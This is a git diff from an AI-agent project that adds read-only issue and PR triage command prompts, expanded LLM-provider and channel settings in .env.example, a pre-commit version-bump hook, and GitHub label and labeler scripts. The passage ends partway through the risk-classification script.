diff --git a/.claude/commands/add-tool.md b/.claude/commands/add-tool.md index 8557cf45..19dd77bb 100644 --- a/.claude/commands/add-tool.md +++ b/.claude/commands/add-tool.md @@ -286,8 +286,8 @@ impl Tool for Tool { false // Set true if tool processes external data } - fn requires_approval(&self) -> bool { - false // Set true if tool is destructive or contacts external services + fn requires_approval(&self, _params: &serde_json::Value) -> crate::tools::tool::ApprovalRequirement { + crate::tools::tool::ApprovalRequirement::Never // Set to UnlessAutoApproved or Always as needed } } ``` diff --git a/.claude/commands/triage-issues.md b/.claude/commands/triage-issues.md new file mode 100644 index 00000000..f6f183da --- /dev/null +++ b/.claude/commands/triage-issues.md @@ -0,0 +1,257 @@ +--- +description: Triage open GitHub issues — split into bugs vs features, rank by severity/opportunity, and flag under-specified issues +disable-model-invocation: true +allowed-tools: Bash(gh issue list:*), Bash(gh issue view:*), Bash(gh api:*), Bash(git log:*), Read, Grep, Glob, Task +argument-hint: "[--label=] [--milestone=]" +--- + +# Issue Triage + +You are triaging all open issues on this repository. Your job is to split them into **bugs** and **feature requests**, rank each group, assess how well-specified each issue is, and produce an actionable triage report. + +## Step 1: Fetch all open issues + +Fetch every open issue with metadata: + +``` +gh issue list --state open --limit 200 --json number,title,author,labels,assignees,createdAt,updatedAt,body,commentsCount,reactionGroups,milestone +``` + +If `$ARGUMENTS` contains `--label=`, append `--label ''` to the command. If it contains `--milestone=`, append `--milestone ''` to the command. + +Also fetch recently closed issues (last 14 days) to detect duplicates and already-resolved work: + +``` +gh issue list --state closed --search "closed:>=$(date -v-14d +%Y-%m-%d)" --limit 100 --json number,title,body,labels,closedAt +``` + +**Exclude pull requests** — `gh issue list` may include PRs. Fetch open PR numbers to filter them out: + +``` +gh pr list --state open --json number --jq '.[].number' +``` + +Remove any issue whose number appears in this list. + +## Step 2: Classify each issue as Bug or Feature + +Read each issue's title, body, and labels to classify it into one of these categories: + +### Bugs +Issues that describe **broken existing behavior** — something that worked or should work but doesn't. Signals: +- Labels: `bug`, `defect`, `regression`, `crash`, `error` +- Title/body keywords: "broken", "fails", "crash", "panic", "error", "regression", "doesn't work", "unexpected behavior" +- Includes reproduction steps or error output +- References existing functionality not working as documented + +### Feature Requests +Issues that describe **new or enhanced behavior** — something that doesn't exist yet. Signals: +- Labels: `enhancement`, `feature`, `feature-request`, `improvement`, `proposal` +- Title/body keywords: "add", "support", "implement", "would be nice", "proposal", "RFC", "new" +- Describes a capability the project doesn't have +- Proposes a design or API change + +### Ambiguous +If an issue doesn't clearly fit either category (e.g., "improve X performance" could be a bug or a feature), classify it as **Ambiguous** and note why. + +## Step 3: Rate issue detail level + +For each issue, assess how well-specified it is on a 3-tier scale: + +| Detail Level | Criteria | +|-------------|----------| +| **Well-specified** | Has clear description of what/why, reproduction steps (bugs) or user story (features), acceptance criteria or expected behavior, and enough context to start working immediately | +| **Adequate** | Describes the problem or request clearly, but missing some detail — no repro steps, vague acceptance criteria, or unclear scope. Needs 1-2 clarifying questions before work can start | +| **Under-specified** | Vague title-only or single-sentence body, no context on why it matters, no clear definition of done. Needs significant discussion before it's actionable | + +Indicators of good specification: +- Code snippets, error logs, or screenshots +- Steps to reproduce (bugs) +- Proposed API/behavior (features) +- Links to related issues or discussions +- Clear "done when" criteria + +## Step 4: Rank bugs by severity + +Score each bug on these dimensions and compute an overall severity rank: + +### Impact (1-4) +| Score | Level | Description | +|-------|-------|-------------| +| 4 | **Critical** | Data loss, security vulnerability, complete feature broken, crash in common path | +| 3 | **High** | Major feature degraded, workaround exists but painful, affects many users | +| 2 | **Medium** | Minor feature broken, easy workaround, affects subset of users | +| 1 | **Low** | Cosmetic, edge case, documentation error, minor inconvenience | + +### Urgency (1-3) +| Score | Level | Description | +|-------|-------|-------------| +| 3 | **Urgent** | Security issue, regression in recent release, blocking other work | +| 2 | **Normal** | Should be fixed in next release cycle | +| 1 | **Low** | Fix when convenient, backlog-worthy | + +### Scope (1-3) +| Score | Level | Description | +|-------|-------|-------------| +| 3 | **Broad** | Affects core path, multiple modules, or all users | +| 2 | **Moderate** | Affects one module or a specific configuration | +| 1 | **Narrow** | Affects edge case or single obscure path | + +**Bug severity score** = Impact × 2 + Urgency + Scope (base max 14) + +Apply a one-time +2 boost if any of the following are true (max 16): +- Has a linked PR already (someone is working on it — fast-track review) +- Is labeled `security` +- Is a regression (worked before, broken now) + +## Step 5: Rank features by opportunity + +Score each feature request on these dimensions: + +### Value (1-4) +| Score | Level | Description | +|-------|-------|-------------| +| 4 | **High** | Unlocks new use cases, frequently requested, strategic alignment | +| 3 | **Medium-High** | Significant quality-of-life improvement, good user demand signals | +| 2 | **Medium** | Nice to have, modest improvement to existing workflow | +| 1 | **Low** | Marginal value, niche use case, unclear demand | + +Look for value signals in the issue: +- Number of thumbs-up reactions or "+1" comments +- Multiple people asking for the same thing +- Alignment with project roadmap (check CLAUDE.md TODOs) +- Unblocks other features or simplifies architecture + +### Effort estimate (1-3, inverted — lower effort = higher score) +| Score | Level | Description | +|-------|-------|-------------| +| 3 | **Small** | <1 day, isolated change, clear implementation path | +| 2 | **Medium** | 1-3 days, touches a few modules, some design needed | +| 1 | **Large** | 3+ days, cross-cutting, needs RFC or architectural discussion | + +### Readiness (1-3) +| Score | Level | Description | +|-------|-------|-------------| +| 3 | **Ready** | Well-specified, implementation path clear, no blockers | +| 2 | **Almost ready** | Needs minor clarification, but scope is understood | +| 1 | **Not ready** | Needs design discussion, has open questions, blocked by other work | + +**Opportunity score** = Value × 2 + Effort + Readiness (base max 14) + +Apply a one-time +2 boost if any of the following are true (max 16): +- A community member offered to implement it +- It has a linked draft PR +- It closes a gap listed in the project's "Current Limitations / TODOs" + +## Step 6: Detect duplicates and relationships + +Check for: +- **Duplicates** — Issues describing the same bug or requesting the same feature (compare titles and bodies) +- **Related clusters** — Groups of issues around the same area (e.g., multiple workspace issues, multiple CLI issues) +- **Already fixed** — Open issues that may have been resolved by recently closed issues or merged PRs +- **Blockers** — Issues that reference other issues as prerequisites ("depends on #N", "blocked by #N") +- **Epic candidates** — Multiple small issues that could be grouped under a single tracking issue + +## Step 7: Produce the triage report + +Present the output in this format: + +### Quick Stats + +``` +Open: N | Bugs: N | Features: N | Ambiguous: N +Well-specified: N | Adequate: N | Under-specified: N +Unassigned: N | Stale (>30d): N +``` + +--- + +### Critical Bugs (Severity 12+) + +Bugs that need immediate attention. For each: + +| # | Title | Severity | Impact | Detail | Age | Assignee | +|---|-------|----------|--------|--------|-----|----------| + +Include a 1-line summary of the root cause if discernible from the issue. + +### High-Priority Bugs (Severity 8-12) + +Same table format. These should be addressed in the next release cycle. + +### Medium/Low Bugs (Severity <8) + +Compact table, sorted by severity descending. + +--- + +### Quick Wins (Opportunity 12+ AND Effort = Small) + +Features that are high-value and low-effort — do these first. For each: + +| # | Title | Opportunity | Value | Effort | Detail | Age | +|---|-------|-------------|-------|--------|--------|-----| + +### High-Opportunity Features (Opportunity 10+) + +Same table format. Worth investing in. + +### Backlog Features (Opportunity <10) + +Compact table, sorted by opportunity descending. + +--- + +### Under-Specified Issues (Need Clarification) + +Issues rated "Under-specified" that can't be triaged effectively. For each, suggest 1-2 specific questions to ask the author to make it actionable. + +| # | Title | Type | What's missing | +|---|-------|------|---------------| + +### Ambiguous Issues (Bug or Feature?) + +Issues that couldn't be clearly classified. For each, explain the ambiguity and suggest which category it likely belongs in. + +--- + +### Duplicates & Overlaps + +Groups of issues that appear to be duplicates or closely related. Recommend which to keep and which to close. + +### Already Fixed? + +Open issues that may have been resolved by recently closed issues or merged PRs. + +### Stale Issues (>30 days, no activity) + +Issues with no updates in 30+ days. Recommend: close, ping author, or keep. + +--- + +### By Area + +Group all issues by the area of the codebase they affect (infer from title/body/labels): + +| Area | Bugs | Features | Top Priority | +|------|------|----------|-------------| + +### Suggested Next Actions + +Based on the triage, provide 3-5 concrete recommendations: +1. Which bugs to fix first and why +2. Which quick-win features to pick up +3. Which under-specified issues to clarify +4. Which stale issues to close +5. Any clusters that suggest a larger initiative + +## Rules + +- Use `gh` CLI for all GitHub operations. Never guess issue state — always check. +- For large issue lists (>20), use the Task tool to parallelize fetching issue details and comments. +- Be concise in summaries. One line per issue in tables. +- When scoring, be honest about uncertainty. If you can't tell severity from the description, say so and rate it conservatively. +- Factor in issue age — older unresolved bugs may indicate they're less critical than they seem, or that they're hard to fix. Note this in your assessment. +- Check comment threads for additional context that the original body may lack. An under-specified issue with rich discussion may actually be well-understood. +- Do NOT post comments, close issues, or take any action. This skill is read-only analysis. +- If the repo has >100 open issues, focus the detailed analysis on the top 30 by recency and engagement (comments + reactions), and provide a summary table for the rest. diff --git a/.claude/commands/triage-prs.md b/.claude/commands/triage-prs.md new file mode 100644 index 00000000..862719a9 --- /dev/null +++ b/.claude/commands/triage-prs.md @@ -0,0 +1,161 @@ +--- +description: Classify all open PRs by module, review state, scope, and architectural impact — produces a prioritized triage dashboard +disable-model-invocation: true +allowed-tools: Bash(gh pr list:*), Bash(gh pr view:*), Bash(gh pr diff:*), Bash(gh api:*), Bash(gh pr checks:*), Bash(git log:*), Read, Grep, Glob, Task +argument-hint: "[--label=] [--author=]" +--- + +# PR Triage Dashboard + +You are triaging all open PRs on this repository. Your job is to produce a prioritized, module-grouped dashboard that tells the maintainer exactly which PRs need attention and in what order. + +## Step 1: Fetch all open PRs + +Fetch every open PR with metadata: + +``` +gh pr list --state open --limit 100 --json number,title,author,labels,additions,deletions,headRefName,createdAt,updatedAt,isDraft,reviewRequests,reviews,files,body +``` + +If `$ARGUMENTS` contains `--label=`, append `--label ''` to the `gh pr list` command. If it contains `--author=`, append `--author ''` to the command. + +Also fetch recently merged PRs (last 7 days) to detect superseded/conflicting work: + +``` +gh pr list --state merged --search "merged:>=$(date -v-7d +%Y-%m-%d)" --limit 100 --json number,title,body,mergedAt +``` + +## Step 2: Classify each PR by module + +For each open PR, determine the primary module it touches by examining the `files` field. Classify into these categories based on the dominant `src/` subdirectory: + +| Category | Directories | +|----------|------------| +| **LLM & Inference** | `src/llm/` | +| **Agent Core** | `src/agent/`, `src/skills/` | +| **Tools** | `src/tools/`, `tools-src/` | +| **Channels** | `src/channels/`, `channels-src/` | +| **Storage & Memory** | `src/db/`, `src/workspace/`, `migrations/` | +| **Security** | `src/safety/`, `src/secrets/` | +| **Config & Setup** | `src/config.rs`, `src/setup/`, `src/cli/` | +| **Sandbox & Orchestration** | `src/sandbox/`, `src/orchestrator/`, `src/worker/` | +| **Hooks & Extensions** | `src/hooks/`, `src/extensions/` | +| **Context & History** | `src/context/`, `src/history/`, `src/estimation/`, `src/evaluation/` | +| **Web Gateway** | `src/channels/web/` | +| **CI/CD & Docs** | `.github/`, `README.md`, `CLAUDE.md`, `*.md` (no src) | +| **Other** | Anything else | + +If a PR touches multiple modules, assign it to the **primary** module (most files changed) but note the cross-cutting modules. + +## Step 3: Assess review state + +For each PR, determine its review status: + +- **Approved** — At least one human APPROVED review, no outstanding CHANGES_REQUESTED +- **Changes requested** — At least one CHANGES_REQUESTED review still unresolved +- **Reviewed (comments only)** — Human comments but no formal approve/reject +- **Automated only** — Only bot reviews (gemini-code-assist, copilot, etc.) +- **No review** — No reviews at all + +Also check: +- CI status: `gh pr checks {number}` — PASS / FAIL / NONE +- Draft status: is the PR marked as draft? +- Staleness: how many days since `updatedAt`? + +## Step 4: Determine scope and risk + +Classify each PR by scope: + +| Scope | Criteria | +|-------|----------| +| **Tiny** | <50 lines changed (additions + deletions), 1-2 files | +| **Small** | 50-200 lines, 1-5 files | +| **Medium** | 200-500 lines, 3-10 files | +| **Large** | 500-2000 lines, 5-20 files | +| **XL** | 2000+ lines or 20+ files | + +## Step 5: Classify as fix vs. architectural + +For each PR, determine its nature: + +### Fixes (merge fast) +- Bug fixes with clear root cause +- Security patches +- Crash/panic prevention +- Typo/doc corrections +- Code quality (removing .unwrap(), etc.) + +### Features (standard review) +- New functionality within existing patterns +- New tool implementations +- Configuration additions +- Test additions + +### Architectural (deep review needed) +- New modules or subsystems +- Changes to core traits or interfaces +- New database backends or storage engines +- New provider abstractions +- Changes touching 5+ modules +- Anything modifying the agent loop, session model, or security layer +- New dependencies (check Cargo.toml changes) + +## Step 6: Detect conflicts and superseded PRs + +Check for: +- Multiple PRs fixing the same issue (look at "Closes #N" / "Fixes #N" in PR bodies) +- PRs touching the same files (potential merge conflicts) +- PRs that are follow-ups to other open PRs (dependency chains) +- PRs superseded by recently merged work + +## Step 7: Produce the dashboard + +Present the output in this format: + +### Quick Stats +``` +Open: N | Draft: N | Needs review: N | Changes requested: N | Ready to merge: N +``` + +### Ready to Merge +PRs that are approved, CI passing, and non-draft. List with one-line summary. + +### Needs Human Review (Fixes) +Fixes that have no human review yet, sorted by severity (security > crash > bug > quality). + +### Needs Human Review (Features) +Features with no human review, sorted by scope (smallest first). + +### Needs Deep Architectural Review +Large/XL PRs, new modules, or cross-cutting changes. For each, include: +- Which modules are affected +- What new patterns or abstractions are introduced +- Key risk areas to focus review on + +### Changes Requested (Waiting on Author) +PRs where a reviewer asked for changes. Include who requested and a 1-line summary of what's needed. + +### Stale / Blocked +PRs with no activity >7 days, or blocked by other PRs. + +### Conflicts & Overlaps +Any detected conflicts, superseded PRs, or dependency chains. + +### By Module +Group all PRs by their primary module in a compact table: + +| Module | PRs | Key PR to review first | +|--------|-----|----------------------| + +### Superseded PRs (recommend closing) +PRs that are clearly superseded by merged work. Include reasoning. + +## Rules + +- Use `gh` CLI for all GitHub operations. Never guess PR state — always check. +- For large PR lists (>15), use the Task tool to parallelize fetching PR details and diffs. +- Be concise in summaries. One line per PR in tables. +- When assessing "ready to merge", be conservative. If there's any unresolved concern from a repo member, it's not ready. +- Flag any PR that has been open >14 days with no review as needing attention. +- If a PR description says "Closes #N" but #N was already closed by another merged PR, flag it as potentially superseded. +- Do NOT post comments or take any action on PRs. This skill is read-only analysis. diff --git a/.env.example b/.env.example index 5e172630..acb96824 100644 --- a/.env.example +++ b/.env.example @@ -8,18 +8,38 @@ DATABASE_POOL_SIZE=10 # VECTOR_BACKEND=lancedb # LANCEDB_PATH=~/.ironclaw/lancedb # path for LanceDB when VECTOR_BACKEND=lancedb -# LLM Provider (NEAR AI) -# NEAR AI provides a unified interface to all models with user authentication -# Session token is stored in ~/.ironclaw/session.json and managed automatically. -# On first run, the agent will open a browser for OAuth authentication. -NEARAI_MODEL=claude-3-5-sonnet-20241022 +# LLM Provider +# LLM_BACKEND=nearai # default +# Possible values: nearai, ollama, openai_compatible, openai, anthropic, tinfoil +# LLM_REQUEST_TIMEOUT_SECS=120 # Increase for local LLMs (Ollama, vLLM, LM Studio) + +# === Anthropic Direct === +# Two auth modes: +# 1. API key: Set ANTHROPIC_API_KEY (from console.anthropic.com/settings/keys) +# 2. OAuth token: Set ANTHROPIC_OAUTH_TOKEN (from `claude login`) +# OAuth tokens use Authorization: Bearer instead of x-api-key header. +# ANTHROPIC_API_KEY=sk-ant-... +# ANTHROPIC_OAUTH_TOKEN=sk-ant-oat01-... # from `claude login` credentials +# ANTHROPIC_MODEL=claude-sonnet-4-20250514 + +# === OpenAI Direct === +# OPENAI_API_KEY=sk-... + +# === NEAR AI (Chat Completions API) === +# Two auth modes: +# 1. Session token (default): Uses browser OAuth (GitHub/Google) on first run. +# Session token stored in ~/.ironclaw/session.json automatically. +# Base URL defaults to https://private.near.ai +# 2. API key: Set NEARAI_API_KEY to use API key auth from cloud.near.ai. +# Base URL defaults to https://cloud-api.near.ai +NEARAI_MODEL=zai-org/GLM-5-FP8 NEARAI_BASE_URL=https://private.near.ai NEARAI_AUTH_URL=https://private.near.ai -# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown +# NEARAI_SESSION_TOKEN=sess_... # hosting providers: set this +# NEARAI_SESSION_PATH=~/.ironclaw/session.json # optional, default shown +# NEARAI_API_KEY=... # API key from cloud.near.ai # Local LLM Providers (Ollama, LM Studio, vLLM, LiteLLM) -# LLM_BACKEND=nearai # default -# Possible values: nearai, ollama, openai_compatible, openai, anthropic # === Ollama === # OLLAMA_MODEL=llama3.2 @@ -31,13 +51,43 @@ NEARAI_AUTH_URL=https://private.near.ai # LLM_BACKEND=openai_compatible # LLM_BASE_URL=http://localhost:1234/v1 # LLM_API_KEY=sk-... # optional for local servers +# Custom HTTP headers for OpenAI-compatible providers +# Format: comma-separated key:value pairs +# LLM_EXTRA_HEADERS=HTTP-Referer:https://github.com/nearai/ironclaw,X-Title:ironclaw -# === OpenRouter (via OpenAI-compatible) === -# LLM_MODEL=anthropic/claude-sonnet-4 +# === OpenRouter (300+ models via OpenAI-compatible) === +# LLM_MODEL=anthropic/claude-sonnet-4 # see openrouter.ai/models for IDs # LLM_BACKEND=openai_compatible # LLM_BASE_URL=https://openrouter.ai/api/v1 # LLM_API_KEY=sk-or-... +# LLM_EXTRA_HEADERS=HTTP-Referer:https://myapp.com,X-Title:MyApp + + +# === Together AI (via OpenAI-compatible) === +# LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo +# LLM_BACKEND=openai_compatible +# LLM_BASE_URL=https://api.together.xyz/v1 +# LLM_API_KEY=... + +# === Fireworks AI (via OpenAI-compatible) === +# LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic +# LLM_BACKEND=openai_compatible +# LLM_BASE_URL=https://api.fireworks.ai/inference/v1 +# LLM_API_KEY=fw_... + +# === Anthropic Direct === +# LLM_BACKEND=anthropic +# ANTHROPIC_MODEL=claude-sonnet-4-6 +# ANTHROPIC_API_KEY=sk-ant-... +# ANTHROPIC_BASE_URL=https://api.anthropic.com # default +# Prompt cache retention — controls Anthropic server-side prompt caching: +# none = disabled (no cache_control injected) +# short = 5-minute TTL, 1.25× (125%) write surcharge (default) +# long = 1-hour TTL, 2.0× (200%) write surcharge +# ANTHROPIC_CACHE_RETENTION=short + +# For full provider setup guide see docs/LLM_PROVIDERS.md # Channel Configuration # CLI is always enabled @@ -55,6 +105,17 @@ HTTP_HOST=0.0.0.0 HTTP_PORT=8080 HTTP_WEBHOOK_SECRET=your-webhook-secret +# Signal Channel (optional, requires signal-cli daemon --http) +# SIGNAL_HTTP_URL=http://127.0.0.1:8080 +# SIGNAL_ACCOUNT=+1234567890 +# SIGNAL_ALLOW_FROM=+1234567890,uuid:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # comma-separated, * for all, empty = deny/require pairing +# SIGNAL_ALLOW_FROM_GROUPS= # comma-separated group IDs, * for all, empty = deny all groups +# SIGNAL_DM_POLICY=pairing # open | allowlist | pairing +# SIGNAL_GROUP_POLICY=allowlist # allowlist | open | disabled +# SIGNAL_GROUP_ALLOW_FROM= # comma-separated, empty = inherit from ALLOW_FROM +# SIGNAL_IGNORE_ATTACHMENTS=false +# SIGNAL_IGNORE_STORIES=true + # Agent Settings AGENT_NAME=ironclaw AGENT_MAX_PARALLEL_JOBS=5 @@ -74,9 +135,23 @@ HEARTBEAT_INTERVAL_SECS=1800 HEARTBEAT_NOTIFY_CHANNEL=cli HEARTBEAT_NOTIFY_USER=default +# Memory hygiene settings (automatic cleanup of stale workspace documents) +# Runs on each heartbeat tick; identity files (IDENTITY.md, SOUL.md) are never deleted +# MEMORY_HYGIENE_ENABLED=true +# MEMORY_HYGIENE_DAILY_RETENTION_DAYS=30 # delete daily/ docs older than this many days +# MEMORY_HYGIENE_CONVERSATION_RETENTION_DAYS=7 # delete conversations/ docs older than this many days +# MEMORY_HYGIENE_CADENCE_HOURS=12 # minimum hours between cleanup passes + # Safety settings SAFETY_MAX_OUTPUT_LENGTH=100000 SAFETY_INJECTION_CHECK_ENABLED=true +# Restart Feature (Docker containers only) +# Set IRONCLAW_IN_DOCKER=true in the container entrypoint to enable the restart feature. +# Without this, the restart tool and /restart command will be disabled. +# IRONCLAW_IN_DOCKER=false +# IRONCLAW_RESTART_DELAY=5 # default wait before exit (seconds, range: 1-30) +# IRONCLAW_MAX_FAILURES=10 # max consecutive failures before container exits + # Logging RUST_LOG=ironclaw=debug,tower_http=debug diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000..da476900 --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +tests/test-pages/**/*.html linguist-generated=true \ No newline at end of file diff --git a/.githooks/commit-msg b/.githooks/commit-msg new file mode 120000 index 00000000..2eb95be6 --- /dev/null +++ b/.githooks/commit-msg @@ -0,0 +1 @@ +../scripts/commit-msg-regression.sh \ No newline at end of file diff --git a/.githooks/pre-commit b/.githooks/pre-commit new file mode 100755 index 00000000..0abd640a --- /dev/null +++ b/.githooks/pre-commit @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +set -euo pipefail + +# Pre-commit hook: run version bump checks when WIT or extension sources change. +# Install: git config core.hooksPath .githooks + +# Only run the check if relevant files are staged +STAGED=$(git diff --cached --name-only) + +NEEDS_CHECK=false +if echo "$STAGED" | grep -qE '^wit/|^channels-src/|^tools-src/'; then + NEEDS_CHECK=true +fi + +if $NEEDS_CHECK; then + echo "pre-commit: checking version bumps..." + if ! ./scripts/check-version-bumps.sh; then + echo "" + echo "Commit blocked: version bump check failed." + echo "Bump versions in the relevant registry JSON and/or WIT package declaration." + echo "To bypass: git commit --no-verify" + exit 1 + fi +fi diff --git a/.github/labeler.yml b/.github/labeler.yml new file mode 100644 index 00000000..fd7da0be --- /dev/null +++ b/.github/labeler.yml @@ -0,0 +1,166 @@ +# Scope labels for actions/labeler@v6 +# Maps file path globs to scope labels. Multiple labels can apply per PR. + +"scope: agent": + - changed-files: + - any-glob-to-any-file: + - src/agent/** + +"scope: channel": + - changed-files: + - any-glob-to-any-file: + - src/channels/channel.rs + - src/channels/manager.rs + - src/channels/mod.rs + +"scope: channel/cli": + - changed-files: + - any-glob-to-any-file: + - src/channels/cli/** + - src/cli/** + +"scope: channel/web": + - changed-files: + - any-glob-to-any-file: + - src/channels/web/** + +"scope: channel/wasm": + - changed-files: + - any-glob-to-any-file: + - src/channels/wasm/** + +"scope: tool": + - changed-files: + - any-glob-to-any-file: + - src/tools/tool.rs + - src/tools/registry.rs + - src/tools/mod.rs + - src/tools/sandbox.rs + +"scope: tool/builtin": + - changed-files: + - any-glob-to-any-file: + - src/tools/builtin/** + +"scope: tool/wasm": + - changed-files: + - any-glob-to-any-file: + - src/tools/wasm/** + +"scope: tool/mcp": + - changed-files: + - any-glob-to-any-file: + - src/tools/mcp/** + +"scope: tool/builder": + - changed-files: + - any-glob-to-any-file: + - src/tools/builder/** + +"scope: db": + - changed-files: + - any-glob-to-any-file: + - src/db/mod.rs + +"scope: db/postgres": + - changed-files: + - any-glob-to-any-file: + - src/db/postgres.rs + - migrations/** + +"scope: db/libsql": + - changed-files: + - any-glob-to-any-file: + - src/db/libsql_backend.rs + - src/db/libsql_migrations.rs + +"scope: safety": + - changed-files: + - any-glob-to-any-file: + - src/safety/** + +"scope: llm": + - changed-files: + - any-glob-to-any-file: + - src/llm/** + +"scope: workspace": + - changed-files: + - any-glob-to-any-file: + - src/workspace/** + +"scope: orchestrator": + - changed-files: + - any-glob-to-any-file: + - src/orchestrator/** + +"scope: worker": + - changed-files: + - any-glob-to-any-file: + - src/worker/** + +"scope: secrets": + - changed-files: + - any-glob-to-any-file: + - src/secrets/** + +"scope: config": + - changed-files: + - any-glob-to-any-file: + - src/config.rs + - src/settings.rs + +"scope: extensions": + - changed-files: + - any-glob-to-any-file: + - src/extensions/** + +"scope: setup": + - changed-files: + - any-glob-to-any-file: + - src/setup/** + +"scope: evaluation": + - changed-files: + - any-glob-to-any-file: + - src/evaluation/** + +"scope: estimation": + - changed-files: + - any-glob-to-any-file: + - src/estimation/** + +"scope: sandbox": + - changed-files: + - any-glob-to-any-file: + - src/sandbox/** + - Dockerfile* + +"scope: hooks": + - changed-files: + - any-glob-to-any-file: + - src/hooks/** + +"scope: pairing": + - changed-files: + - any-glob-to-any-file: + - src/pairing/** + +"scope: ci": + - changed-files: + - any-glob-to-any-file: + - .github/workflows/** + - .github/scripts/** + +"scope: docs": + - changed-files: + - any-glob-to-any-file: + - "**/*.md" + - docs/** + - LICENSE* + +"scope: dependencies": + - changed-files: + - any-glob-to-any-file: + - Cargo.toml + - Cargo.lock diff --git a/.github/scripts/create-labels.sh b/.github/scripts/create-labels.sh new file mode 100755 index 00000000..66f07ea9 --- /dev/null +++ b/.github/scripts/create-labels.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# Idempotent label bootstrap for IronClaw PR automation. +# Uses `gh label create --force` so it can be re-run safely. +# +# Usage: bash .github/scripts/create-labels.sh +# Requires: gh CLI authenticated with repo scope + +set -euo pipefail + +if ! command -v gh &>/dev/null; then + echo "Error: gh CLI is required. Install from https://cli.github.com" >&2 + exit 1 +fi + +create() { + local name="$1" color="$2" description="$3" + gh label create "$name" --color "$color" --description "$description" --force +} + +echo "==> Creating size labels..." +create "size: XS" "F9D0C4" "< 10 changed lines (excluding docs)" +create "size: S" "F5A3A3" "10-49 changed lines" +create "size: M" "E57373" "50-199 changed lines" +create "size: L" "D32F2F" "200-499 changed lines" +create "size: XL" "B71C1C" "500+ changed lines" + +echo "==> Creating risk labels..." +create "risk: low" "4CAF50" "Changes to docs, tests, or low-risk modules" +create "risk: medium" "FFC107" "Business logic, config, or moderate-risk modules" +create "risk: high" "F44336" "Safety, secrets, auth, or critical infrastructure" +create "risk: manual" "9E9E9E" "Risk level set manually (sticky, not overwritten)" + +echo "==> Creating scope labels..." +create "scope: agent" "006B75" "Agent core (agent loop, router, scheduler)" +create "scope: channel" "00838F" "Channel infrastructure" +create "scope: channel/cli" "00897B" "TUI / CLI channel" +create "scope: channel/web" "00796B" "Web gateway channel" +create "scope: channel/wasm" "00695C" "WASM channel runtime" +create "scope: tool" "1565C0" "Tool infrastructure" +create "scope: tool/builtin" "1976D2" "Built-in tools" +create "scope: tool/wasm" "1E88E5" "WASM tool sandbox" +create "scope: tool/mcp" "2196F3" "MCP client" +create "scope: tool/builder" "42A5F5" "Dynamic tool builder" +create "scope: db" "4A148C" "Database trait / abstraction" +create "scope: db/postgres" "6A1B9A" "PostgreSQL backend" +create "scope: db/libsql" "7B1FA2" "libSQL / Turso backend" +create "scope: safety" "880E4F" "Prompt injection defense" +create "scope: llm" "4527A0" "LLM integration" +create "scope: workspace" "283593" "Persistent memory / workspace" +create "scope: orchestrator" "0D47A1" "Container orchestrator" +create "scope: worker" "01579B" "Container worker" +create "scope: secrets" "BF360C" "Secrets management" +create "scope: config" "E65100" "Configuration" +create "scope: extensions" "33691E" "Extension management" +create "scope: setup" "827717" "Onboarding / setup" +create "scope: evaluation" "558B2F" "Success evaluation" +create "scope: estimation" "9E9D24" "Cost/time estimation" +create "scope: sandbox" "00BFA5" "Docker sandbox" +create "scope: hooks" "6D4C41" "Git/event hooks" +create "scope: pairing" "4E342E" "Pairing mode" +create "scope: ci" "546E7A" "CI/CD workflows" +create "scope: docs" "78909C" "Documentation" +create "scope: dependencies" "90A4AE" "Dependency updates" + +echo "==> Creating workflow labels..." +create "skip-regression-check" "9E9E9E" "Acknowledged: fix without regression test" + +echo "==> Creating contributor labels..." +create "contributor: new" "FFF9C4" "First-time contributor" +create "contributor: regular" "FFE082" "2-5 merged PRs" +create "contributor: experienced" "FFB74D" "6-19 merged PRs" +create "contributor: core" "FF8A65" "20+ merged PRs" + +echo "Done. All labels created/updated." diff --git a/.github/scripts/pr-labeler.sh b/.github/scripts/pr-labeler.sh new file mode 100755 index 00000000..96dc0fa7 --- /dev/null +++ b/.github/scripts/pr-labeler.sh @@ -0,0 +1,139 @@ +#!/usr/bin/env bash +# Classify a PR by size, risk, and contributor tier. +# Called by the pr-label-classify workflow. +# +# Inputs (env vars): +# PR_NUMBER — pull request number +# REPO — owner/repo (e.g. "user/ironclaw") +# +# Requires: gh CLI, jq + +set -euo pipefail + +PR_NUMBER="${PR_NUMBER:?PR_NUMBER is required}" +REPO="${REPO:?REPO is required}" + +# ─── helpers ──────────────────────────────────────────────────────────────── + +# Remove all labels in a dimension except the desired one. +# Usage: set_exclusive_label "size" "size: M" +set_exclusive_label() { + local prefix="$1" desired="$2" + + # Fetch current labels on the PR + local current + current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name') + + # Remove any existing label with the same prefix + while IFS= read -r label; do + [[ -z "$label" ]] && continue + if [[ "$label" == "${prefix}:"* && "$label" != "$desired" ]]; then + gh pr edit "$PR_NUMBER" --repo "$REPO" --remove-label "$label" 2>/dev/null || true + fi + done <<< "$current" + + # Add the desired label + gh pr edit "$PR_NUMBER" --repo "$REPO" --add-label "$desired" +} + +# ─── size ─────────────────────────────────────────────────────────────────── + +classify_size() { + # Sum changed lines across non-doc files + local total + total=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \ + --paginate --jq ' + [.[] | select(.filename | test("\\.(md|txt|rst|adoc)$") | not) | .changes] + | add // 0 + ') + + local label + if (( total < 10 )); then label="size: XS" + elif (( total < 50 )); then label="size: S" + elif (( total < 200 )); then label="size: M" + elif (( total < 500 )); then label="size: L" + else label="size: XL" + fi + + echo "Size: ${total} changed lines -> ${label}" + set_exclusive_label "size" "$label" +} + +# ─── risk ─────────────────────────────────────────────────────────────────── + +classify_risk() { + # If "risk: manual" is present, skip — it's a sticky override + local current + current=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json labels --jq '.labels[].name') + if echo "$current" | grep -qx "risk: manual"; then + echo "Risk: skipped (manual override)" + return + fi + + # Fetch changed file paths + local files + files=$(gh api "repos/${REPO}/pulls/${PR_NUMBER}/files" \ + --paginate --jq '.[].filename') + + local risk="low" + + while IFS= read -r file; do + [[ -z "$file" ]] && continue + + case "$file" in + # High risk: safety, secrets, auth, crypto, setup, orchestrator auth + 